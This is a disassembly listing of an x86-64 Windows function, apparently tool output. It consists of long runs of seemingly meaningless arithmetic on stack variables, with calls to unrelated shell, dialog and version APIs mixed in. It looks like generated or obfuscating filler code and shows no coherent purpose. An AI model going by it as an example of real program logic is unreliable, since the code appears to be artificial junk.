mov byte [rsp + 0x4eb], al
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd280], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd280]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019f010], rax
mov rax, qword [0x14019f008]
movzx eax, word [rax]
mov word [rsp + 0x2ab4], ax
movsx eax, word [rsp + 0x2a6c]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a98], ax
mov rax, qword [0x14019d008]
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x4e4]
movsx ecx, byte [rsp + 0x4ed]
sub eax, ecx
mov byte [rsp + 0x444], al
mov rax, qword [rsp + 0xcfb0]
mov rcx, qword [rsp + 0xd118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a74]
and eax, ecx
mov word [rsp + 0x2a6c], ax
movzx eax, word [rsp + 0x28e0]
movzx ecx, word [rsp + 0x2aac]
xor eax, ecx
mov word [0x14019d038], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xd290], rax
movzx eax, word [rsp + 0x2a9c]
movzx ecx, word [rsp + 0x28e0]
sar eax, cl
mov word [rsp + 0x1b08], ax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x34f], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shl eax, cl
mov dword [rsp + 0x6c94], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xccc8], rax
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x4f4], al
mov eax, dword [rsp + 0x69f8]
mov ecx, dword [rsp + 0x5b3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cf4], eax
movzx eax, word [rsp + 0x2a34]
mov word [rsp + 0x2ab8], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [0x14019f038], ax
lea r8, [rsp + 0x221d0]
lea rdx, [fcn.140181f10]
mov rcx, qword [rsp + 0xcea8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd260]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd288], rax
lea rax, [rsp + 0xbf08]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a90], ax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x183c], ax
mov dword [rsp + 0x20], 0x7b
mov r9d, 0x74
lea r8, [rsp + 0x216d0]
mov edx, ILGetNext
mov rcx, qword [rsp + 0xce20]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6d24], eax
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [0x14019ef92]
or eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xcfd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov dword [rsp + 0x6d28], eax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [0x14019d040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14019eff8], ax
movzx eax, word [rsp + 0x183c]
movzx ecx, word [rsp + 0x2a94]
xor eax, ecx
mov word [rsp + 0x2a54], ax
movzx eax, byte [rsp + 0x45a]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x283], al
mov eax, dword [rsp + 0x5938]
movzx ecx, al
mov eax, dword [rsp + 0x63c8]
shl eax, cl
mov dword [rsp + 0x66ac], eax
lea rax, [rsp + 0xcac8]
mov qword [rsp + 0xd2a0], rax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd110]
mov qword [rsp + 0xd2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa0a8], rax
movsx eax, byte [rsp + 0x64]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov byte [rsp + 0x4e6], al
lea rdx, [rsp + 0x1ef60]
mov rcx, qword [rsp + 0xd1f8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x6d1c], eax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov dword [rsp + 0x6d2c], eax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ab8]
add eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf84]
add eax, ecx
mov word [0x14019d058], ax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcb10], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a80]
shl eax, cl
mov word [rsp + 0x20b0], ax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0xd170]
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xd178]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa78], rax
mov dword [rsp + 0x20], SHGetNewLinkInfoW
lea r9, [rsp + 0xd168]
mov r8, qword [rsp + 0xcde8]
mov rdx, qword [rsp + 0xcdd8]
mov rcx, qword [rsp + 0xd2b8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6bb8], eax
lea rax, [rsp + 0x4ec]
mov qword [rsp + 0xd2c0], rax
mov eax, dword [rsp + 0x5dfc]
mov ecx, dword [0x14019efb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2abc], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [0x14019f030]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019efc0], rax
mov r8, qword [rsp + 0xd2c8]
mov rdx, qword [rsp + 0xce48]
mov rcx, qword [rsp + 0xd1b0]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xd2d0], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f0]
xor eax, ecx
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5918], eax
lea rax, [rsp + 0x2a50]
mov qword [rsp + 0xd2d8], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcbc]
sub eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
lea rcx, [rsp + 0x1fbe0]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6cbc], eax
mov eax, dword [rsp + 0x5b3c]
movzx ecx, al
mov eax, dword [rsp + 0x6cf4]
shl eax, cl
mov dword [rsp + 0x6b8c], eax
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd1c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
sar eax, cl
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x2ac0], ax
movzx eax, word [rsp + 0x2a70]
mov word [0x14019f03c], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
lea rax, [rsp + 0xaa88]
mov qword [rsp + 0xd2e0], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [0x14019efc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ab8]
add eax, ecx
mov word [rsp + 0x2ac0], ax
movsx eax, byte [rsp + 0x4ec]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xd2e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xaa78]
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4ee], al
mov eax, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x60c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b24], eax
movzx eax, word [rsp + 0x2ab4]
mov word [0x14019f040], ax
movzx eax, word [rsp + 0x2a98]
mov word [rsp + 0x2ac4], ax
movzx eax, word [rsp + 0x269c]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0xcdc8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e3], al
lea rax, [rsp + 0x5b3c]
mov qword [rsp + 0xd2f8], rax
mov rax, qword [rsp + 0xd0c8]
movzx ecx, al
mov rax, qword [rsp + 0xd178]
shr rax, cl
mov qword [rsp + 0xb650], rax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
shl eax, cl
mov word [rsp + 0x2ab8], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2ac8], ax
lea rax, [rsp + 0xd290]
mov qword [0x14019f048], rax
movzx eax, word [rsp + 0x2aa8]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2abc], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0xcb10]
mov rcx, qword [rsp + 0xbf08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f68], rax
mov rax, qword [rsp + 0xd2c0]
movzx eax, byte [rax]
mov byte [rsp + 0x4f5], al
movzx eax, byte [rsp + 0x4f3]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f0], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6d30], eax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6098]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d28], eax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14019efb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a64]
shl eax, cl
mov rcx, qword [rsp + 0xd258]
mov word [rcx], ax
movzx eax, word [rsp + 0x2aa8]
movzx ecx, word [rsp + 0x183c]
xor eax, ecx
mov word [rsp + 0x1ed8], ax
movzx eax, word [rsp + 0x2aac]
movzx ecx, word [rsp + 0x2a78]
and eax, ecx
mov word [rsp + 0x2a9c], ax
mov rax, qword [rsp + 0xad08]
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
lea rcx, [rsp + 0xd140]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xd308], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6098]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x654c], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2760], ax
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [rsp + 0x29a8]
or eax, ecx
mov word [rsp + 0x2a68], ax
lea rax, [rsp + 0xaa88]
mov qword [0x14019f050], rax
mov rax, qword [rsp + 0xcdc8]
mov qword [rsp + 0xd310], rax
mov rax, qword [rsp + 0x9d98]
mov rcx, qword [rsp + 0xd2a0]
mov qword [rsp + 0xd318], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd318]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov qword [rsp + 0xd320], rax
movzx eax, word [rsp + 0xd94]
movzx ecx, word [rsp + 0x2a68]
sar eax, cl
mov word [rsp + 0x2abc], ax
movzx eax, byte [rsp + 0x4ef]
movzx ecx, byte [0x14019d010]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0f8]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5eac], eax
mov rax, qword [rsp + 0xd058]
mov rcx, qword [rsp + 0xd118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cf8], eax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov qword [rsp + 0xd328], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
add eax, ecx
mov byte [0x14019d011], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x2a88], ax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a80]
and eax, ecx
mov word [rsp + 0x1180], ax
mov edx, 0x2a
lea rcx, [rsp + 0xd1b8]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov rcx, qword [0x14019f048]
mov qword [rsp + 0xd330], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd330]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd320], rax
lea rax, [rsp + 0x6098]
mov qword [rsp + 0xd338], rax
mov rax, qword [rsp + 0xccc8]
movzx ecx, al
mov rax, qword [rsp + 0xd178]
shl rax, cl
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd158]
mov byte [rcx], al
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [rsp + 0x2acc], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [0x14019f058], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x25c0], ax
movzx eax, byte [rsp + 0x4e8]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4a1], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x6d34], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f4]
or eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0xd058]
mov ecx, dword [0x14019efb0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd338]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov qword [rsp + 0xd340], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a9c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d058], ax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd128]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xaa88]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2aa4]
movsx ecx, word [rsp + 0x2a6c]
shl eax, cl
mov word [rsp + 0x2ab4], ax
movzx eax, word [rsp + 0x2a54]
mov word [rsp + 0x2ad0], ax
mov edx, 9
lea rcx, [rsp + 0x1f460]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov eax, dword [rsp + 0x6d00]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xd348], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd348]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [section..data]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa478], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e6]
sub eax, ecx
mov byte [rsp + 0x4f4], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019f048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd2e0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2a8c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019efb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [rsp + 0x2ad4], ax
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd0f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5b24], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x4f6], al
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb340]
shl rax, cl
mov qword [rsp + 0xbe80], rax
mov eax, dword [rsp + 0x5b50]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xd350], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd350]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd0e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd178], rax
movsx eax, byte [rsp + 0x4e5]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f5], al
movzx eax, word [rsp + 0x1810]
mov word [rsp + 0x2ad8], ax
movzx eax, word [rsp + 0x2a70]
movzx ecx, word [rsp + 0x2ac8]
and eax, ecx
mov word [0x14019d05c], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd048], rax
lea rcx, [rsp + 0x1ffe0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6cfc], eax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
shl eax, cl
mov word [rsp + 0x24f8], ax
movsx eax, word [rsp + 0x2ad8]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
sar rax, cl
mov qword [rsp + 0xd250], rax
movzx eax, byte [rsp + 0x362]
mov byte [rsp + 0x4f7], al
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5dfc], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xd358], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a98]
add eax, ecx
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5918]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d30], eax
movzx eax, byte [rsp + 0x4e7]
movzx ecx, byte [rsp + 0x4f6]
or eax, ecx
mov byte [rsp + 0x450], al
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xcde0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xd308]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xd168]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xcf90]
mov r8, qword [rsp + 0xce48]
mov rdx, qword [rsp + 0xd360]
mov ecx, 0xca
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x6cd8], eax
mov rax, qword [0x14019f008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sar eax, cl
mov word [rsp + 0x2a38], ax
mov r9, qword [rsp + 0xd368]
mov r8, qword [rsp + 0xcde8]
mov rdx, qword [rsp + 0xce48]
mov rcx, qword [rsp + 0xd370]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x6d38], eax
movzx eax, word [rsp + 0x1180]
mov word [rsp + 0x2adc], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e3], al
mov rcx, qword [rsp + 0xd378]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xb650]
mov rcx, qword [rsp + 0x9f68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
mov eax, dword [rsp + 0x5dfc]
mov ecx, dword [rsp + 0x6d0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69fc], eax
movsx eax, word [rsp + 0x2760]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a90], ax
lea rax, [rsp + 0x2abc]
mov qword [0x14019f060], rax
mov rax, qword [rsp + 0xd290]
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [0x14019f048]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaa88], rax
lea rax, [rsp + 0xcec0]
mov qword [rsp + 0xd388], rax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a34]
or eax, ecx
mov word [rsp + 0x2ab4], ax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6098]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov qword [rsp + 0xd390], rax
movsx eax, byte [rsp + 0x12c]
movsx ecx, byte [rsp + 0x4ec]
shl eax, cl
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x59f0], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f3]
sub eax, ecx
mov byte [rsp + 0x450], al
movzx eax, word [rsp + 0x2a84]
mov word [0x14019f068], ax
movzx eax, word [0x14019f03c]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [rsp + 0x2ae0], ax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0x9b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd088], rax
lea r9, [rsp + 0x1fb60]
lea r8, [rsp + 0xce90]
lea rdx, [rsp + 0x1e8d0]
lea rcx, [rsp + 0x1fbe0]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [0x14019f010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb658], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6cf8]
shl eax, cl
mov dword [rsp + 0x69fc], eax
lea rcx, [rsp + 0x1fc60]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6ce0], eax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f2]
sar eax, cl
mov byte [rsp + 0x149], al
lea rax, [rsp + 0x2a6c]
mov qword [rsp + 0xd398], rax
movzx eax, word [rsp + 0x183c]
movzx ecx, word [rsp + 0x2a80]
or eax, ecx
mov word [rsp + 0x1180], ax
mov rax, qword [0x14019f050]
mov rcx, qword [rsp + 0xd2b0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019d040], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [rsp + 0x2ae4], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd310]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf48], rax
mov rax, qword [0x14019f050]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2b0], rax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd178]
shr rax, cl
mov qword [rsp + 0xa2c0], rax
mov eax, dword [0x14019efb0]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x6d3c], eax
movzx eax, byte [rsp + 0x4f0]
movzx ecx, byte [rsp + 0x4e2]
or eax, ecx
mov rcx, qword [rsp + 0xd1d8]
